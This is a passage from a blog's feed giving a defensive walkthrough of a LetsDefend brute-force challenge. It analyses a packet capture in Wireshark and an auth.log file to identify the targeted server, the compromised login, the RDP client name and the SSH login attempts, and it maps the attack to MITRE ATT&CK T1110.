This will help us narrow down which addresses we want to analyze further.&lt;/p&gt;&#xA;&lt;p&gt;To do this in &lt;em&gt;Wireshark&lt;/em&gt; let&amp;rsquo;s utilize the &lt;em&gt;Statistics&lt;/em&gt; &amp;gt; &lt;em&gt;Endpoints&lt;/em&gt; &amp;gt; &lt;em&gt;IPv4&lt;/em&gt; view. This will provide a summary of all the &lt;em&gt;IPv4&lt;/em&gt; addresses in the &lt;em&gt;pcap.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;744&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5_hu_bc25448dda45158a.gif 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5.gif 1423w&#34; width=&#34;1423&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using this view, we see several &lt;em&gt;private&lt;/em&gt; IP addresses (&lt;em&gt;192.168.190.x&lt;/em&gt;) and several &lt;em&gt;public&lt;/em&gt; IP addresses. But notice the number of packets — there are only two IPs responsible for the overwhelming amount of traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;646px&#34; data-flex-grow=&#34;269&#34; height=&#34;297&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/229a4807703a8816269f95e603793e4d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember, we&amp;rsquo;re looking for the target IP address of a &lt;em&gt;web server&lt;/em&gt; which are usually internet-facing. Using our powers of deduction, the target server is the one with the &lt;em&gt;public&lt;/em&gt; IP address of 51[.]116[.]96[.]181.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/f9a9179b1a2d099ed7bbc4b80f636501_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-directory-was-targeted-by-the-attackers-brute-force-attempt&#34;&gt;Question 2: Which directory was targeted by the attacker&amp;rsquo;s brute-force attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we know the IP address of the &lt;em&gt;web server&lt;/em&gt; let&amp;rsquo;s do some further investigating in &lt;em&gt;Wireshark.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;em&gt;web servers&lt;/em&gt; typically accept connections on ports &lt;strong&gt;80&lt;/strong&gt; (&lt;em&gt;HTTP&lt;/em&gt;) and &lt;strong&gt;443&lt;/strong&gt; (&lt;em&gt;HTTPS&lt;/em&gt;), let&amp;rsquo;s use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; filter toolbar focus on the &lt;em&gt;HTTP&lt;/em&gt; protocol. This will let us see the captured &lt;em&gt;HTTP&lt;/em&gt; requests sent to the server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/887e8f81305bb9d512ebf466100167c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After filtering for &lt;em&gt;HTTP,&lt;/em&gt; we now see hundreds of &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/POST_%28HTTP%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;HTTP POST&lt;/em&gt;&lt;/a&gt; requests sent to the &lt;em&gt;web server&lt;/em&gt; targeting the &lt;em&gt;index.php&lt;/em&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/bd1cc3cae004f0e124aa2cc86e39c79e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identify-the-correct-username-and-password-combination-used-forlogin&#34;&gt;Question 3: Identify the correct username and password combination used for login.&#xA;&lt;/h3&gt;&lt;p&gt;Yikes! Based on the question, the attacker was able to find a valid username/password combination and gained access to the server.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we have to find the credentials used for authentication within the &lt;em&gt;pcap.&lt;/em&gt; Fortunately, we can find this information quickly by leveraging &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; search function to search the packets for a keyword.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need to figure out what we are searching for exactly. For each &lt;em&gt;HTTP POST&lt;/em&gt; request, the web server returns a &lt;strong&gt;response&lt;/strong&gt;. Look at any of the responses sent from the server:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;420px&#34; data-flex-grow=&#34;175&#34; height=&#34;457&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/60271fd2208b49efc50f9bf9074dde1a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each &lt;em&gt;incorrect&lt;/em&gt; response returns the message &lt;strong&gt;&lt;em&gt;&amp;gt;incorrect&lt;/em&gt;&lt;/strong&gt; in red. So, maybe &lt;em&gt;correct&lt;/em&gt; responses return &lt;strong&gt;&lt;em&gt;&amp;gt;correct&lt;/em&gt;&lt;/strong&gt;? Let&amp;rsquo;s find out! Rather than manually review all these records, let&amp;rsquo;s finally use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; search functionality.&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;CTRL + F or&lt;/em&gt; press the magnifying glass to bring up the find/search bar, then select &lt;em&gt;String,&lt;/em&gt; and finally select &lt;em&gt;Packet details&lt;/em&gt; so we can search within the middle &amp;quot; # &amp;ldquo;packet details&amp;quot;window.&lt;/p&gt;&#xA;&lt;p&gt;Now enter &lt;strong&gt;&lt;em&gt;&amp;gt;correct&lt;/em&gt;&lt;/strong&gt; into the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;462px&#34; data-flex-grow=&#34;192&#34; height=&#34;623&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5_hu_7ccb1bc6a36a7510.png 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we&amp;rsquo;ve got a hit! Now, right-click the packet and select &lt;em&gt;Follow &amp;gt; HTTP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/c6e27f330908bf955e2c6f26c1cd1b1b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With visibility into the complete &lt;em&gt;HTTP Stream&lt;/em&gt; of the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;correct&amp;rdquo;&#xA;login, we can now identify the &lt;em&gt;username&lt;/em&gt; and &lt;em&gt;password&lt;/em&gt; sent in the &lt;em&gt;POST&lt;/em&gt; request to the server!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/a04b3b79cdf392289eccc4b9c2173eeb_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fa9ac00b9ffe0c356ec2c9b34841488b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-how-many-user-accounts-did-the-attacker-attempt-to-compromise-via-rdp-brute-force&#34;&gt;Question 4: How many user accounts did the attacker attempt to compromise via RDP brute-force?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s determine how many usernames the attacker tried to brute force. To do this, let&amp;rsquo;s adjust our filters to narrow the scope from all &lt;em&gt;HTTP&lt;/em&gt; traffic to only show the &lt;em&gt;HTTP POST&lt;/em&gt; requests to the web server.&lt;/p&gt;&#xA;&lt;p&gt;http &amp;amp;&amp;amp; ip.dst==51.116.96.181&lt;/p&gt;&#xA;&lt;p&gt;Do you see that each one captured a &lt;em&gt;username&lt;/em&gt; form item?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/1918373f459ab7cedee0f6e8d3a33b6e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the packets, we will see a few user accounts listed, but we can search much more efficiently with another method outside of &lt;em&gt;Wireshark.&lt;/em&gt; To start, we&amp;rsquo;ll export the displayed packets to a plain text file.&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;File &amp;gt; Export Packet Dissections &amp;gt; As Plain Text&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/085f2e77ae7ca5ec036db8df64cc1eee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, choose a &lt;em&gt;File name&lt;/em&gt; and press &lt;em&gt;Save.&lt;/em&gt; This will export the packets we have filtered into a text file. For this walkthrough, I&amp;rsquo;ll call my output file &lt;em&gt;HTTPexport.txt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;354px&#34; data-flex-grow=&#34;147&#34; height=&#34;542&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/70dde7403d8adc3011a32856a2cde82a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we&amp;rsquo;ll open the terminal and use &lt;em&gt;grep&lt;/em&gt; to search the &lt;em&gt;text&lt;/em&gt; file, displaying only the lines matching &amp;quot; # &amp;ldquo;username&amp;quot;and then removing any duplicate entries.&lt;/p&gt;&#xA;&lt;p&gt;cat HTTPexport.txt | grep -i &amp;ldquo;username&amp;rdquo; | uniq&lt;/p&gt;&#xA;&lt;p&gt;Using this method provides us the total number of user accounts targeted by the attacker!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/51553dd0e53a7123e84ad49191b83aaf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/e67a9d3577dab9d9fe96a133469364ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the---&#34;&gt;Question 5: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;clientName&amp;rdquo;&#xA;of the attacker&amp;rsquo;s machine?&lt;/p&gt;&#xA;&lt;p&gt;Previously we focused only on &lt;em&gt;HTTP&lt;/em&gt; protocol traffic. Now we need to zoom out and search the rest of the &lt;em&gt;pcap&lt;/em&gt; since the attacker&amp;rsquo;s machine name is not available in the &lt;em&gt;HTTP&lt;/em&gt; request data.&lt;/p&gt;&#xA;&lt;p&gt;But what are we looking for exactly? Let&amp;rsquo;s take the question literally and perform a search for the string &amp;quot; # &amp;ldquo;clientname&amp;quot;like we did back in &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;557&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5_hu_95db21e17f91ac28.png 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This search will identify &lt;em&gt;Remote Desktop Protocol&lt;/em&gt; &lt;em&gt;(RDP)&lt;/em&gt; traffic directed towards the web server. In the packet details pane, the attacker&amp;rsquo;s client name will be visible in the &lt;em&gt;clientName&lt;/em&gt; field of the &lt;em&gt;Remote Desktop Protocol ClientData&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/4e39b007d38557258eeb771f67044be5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-when-did-the-user-last-successfully-log-in-via-ssh-and-who-wasit&#34;&gt;Question 6: When did the user last successfully log in via SSH, and who was it?&#xA;&lt;/h3&gt;&lt;p&gt;Now, rather than focus on &lt;em&gt;HTTP&lt;/em&gt; or &lt;em&gt;RDP&lt;/em&gt; events like we have in the previous questions, we&amp;rsquo;re going to look for &lt;em&gt;Secure Shell&lt;/em&gt; (&lt;em&gt;SSH)&lt;/em&gt; events — there&amp;rsquo;s just one problem, we can&amp;rsquo;t find them in &lt;em&gt;Wireshark&lt;/em&gt;. That&amp;rsquo;s Okay! For this task we&amp;rsquo;ll pivot to the second challenge file, &lt;em&gt;auth.log.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Open the log file in any text editor. Once it&amp;rsquo;s open, we&amp;rsquo;ll simply use the built-in search/find tool and look for &lt;strong&gt;&lt;em&gt;ssh&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are thousands of hits! Let&amp;rsquo;s review some of the &lt;em&gt;ssh&lt;/em&gt; logging events and observe that successful login attempts contain the string &amp;quot; # &amp;ldquo;Accepted password&amp;quot;along with the &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;IP address&lt;/em&gt;, and &lt;em&gt;source port&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/4f85ac60e01a1cf7e40254293f97e497_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This means we can search the log for entries containing &amp;quot; # &amp;ldquo;Accepted password&amp;quot;to determine how many times the attacker logged and then navigate to the last result (it&amp;rsquo;s in ascending order) to find the last login and answer &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;445px&#34; data-flex-grow=&#34;185&#34; height=&#34;431&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/0288f5f4557835a1424f4578e3e6ab48_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/ea246a699e1227c3be5df5c6fcafebb4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-unsuccessful-ssh-connection-attempts-were-made-by-the-attacker&#34;&gt;Question 7: How many unsuccessful SSH connection attempts were made by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;From the information we gathered in &lt;strong&gt;Question 6&lt;/strong&gt;, we know that successful &lt;em&gt;ssh&lt;/em&gt; logins generate an &amp;quot; # &amp;ldquo;Accepted password&amp;quot;log entry, but you also may have noticed that unsuccessful logins generate a &amp;quot; # &amp;ldquo;Failed password&amp;quot;entry.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s just simply search in the text editor for &amp;quot; # &amp;ldquo;Failed password&amp;quot;which should give us the total number of failed login attempts captured in this log!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/a4fb5c85d4a86569ea20d59eea814d2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/cb14257696e64a2cd55bf43c34f851f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-technique-is-used-to-gainaccess&#34;&gt;Question 8: What technique is used to gain access?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! We&amp;rsquo;ve now analyzed the &lt;em&gt;HTTP&lt;/em&gt;, &lt;em&gt;RDP&lt;/em&gt;, and &lt;em&gt;SSH&lt;/em&gt; traffic and determined that the attacker tried thousands of guesses over these different protocols to gain access to the &lt;em&gt;web server.&lt;/em&gt; With the sheer number of attempts, we can conclude that the &lt;em&gt;web server&lt;/em&gt; was the victim of a &lt;strong&gt;brute force attack&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a popular knowledge base of adversary tactics, techniques, and procedures to get more information and find the correct &lt;em&gt;MITRE ID&lt;/em&gt; for this technique&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  title=&#34;https://attack.mitre.org/techniques/T1110/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brute Force&lt;/strong&gt;&#xA;_Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.&lt;a class=&#34;link&#34; href=&#34;https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[2]&lt;/a&gt; Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we have located the correct technique ID from &lt;em&gt;MITRE ATT&amp;amp;CK,&lt;/em&gt; let&amp;rsquo;s submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/43e09808281518b5d39f2ff5969c6c49_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great job! Going through this investigation, we&amp;rsquo;ve gathered the required evidence and scoped the damage caused by this brute force attack. With &lt;em&gt;Wireshark&lt;/em&gt;, we started to paint a clearer picture of the attacker&amp;rsquo;s brute force methods and targets by pinpointing the server IP, the specific targeted directory, the number unsuccessful and successful login attempts made, and the compromised accounts. Then, by examining the web server&amp;rsquo;s &lt;em&gt;auth.log file&lt;/em&gt;, we were able to determine the full scope of the &lt;em&gt;SSH&lt;/em&gt; brute force attack including the number of successful and unsuccessful logins and what credentials were compromised.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for creating another cool and engaging challenge. The sheer volume of events generated during a brute force attack makes searching through the data all the more difficult, so this challenge was really helpful to practice log analysis in the context of a brute force attack. Personally, I hadn&amp;rsquo;t had much exposure or need to look through &lt;em&gt;Linux&lt;/em&gt; &lt;em&gt;auth.log&lt;/em&gt; files before. After seeing how much valuable information they hold, I will definitely remember this one during future &lt;em&gt;Linux&lt;/em&gt; investigations. I also pick up something new every time I go hands-on with &lt;em&gt;Wireshark.&lt;/em&gt; This time, seeing what packet details are available in the &lt;em&gt;HTTP POST&lt;/em&gt; responses was really fascinating. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — POST (HTTP):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/POST_%28HTTP%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/POST_(HTTP)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Brute Force (T1110):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1110/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Batch Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/</link>
            <pubDate>Sun, 08 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/</guid>
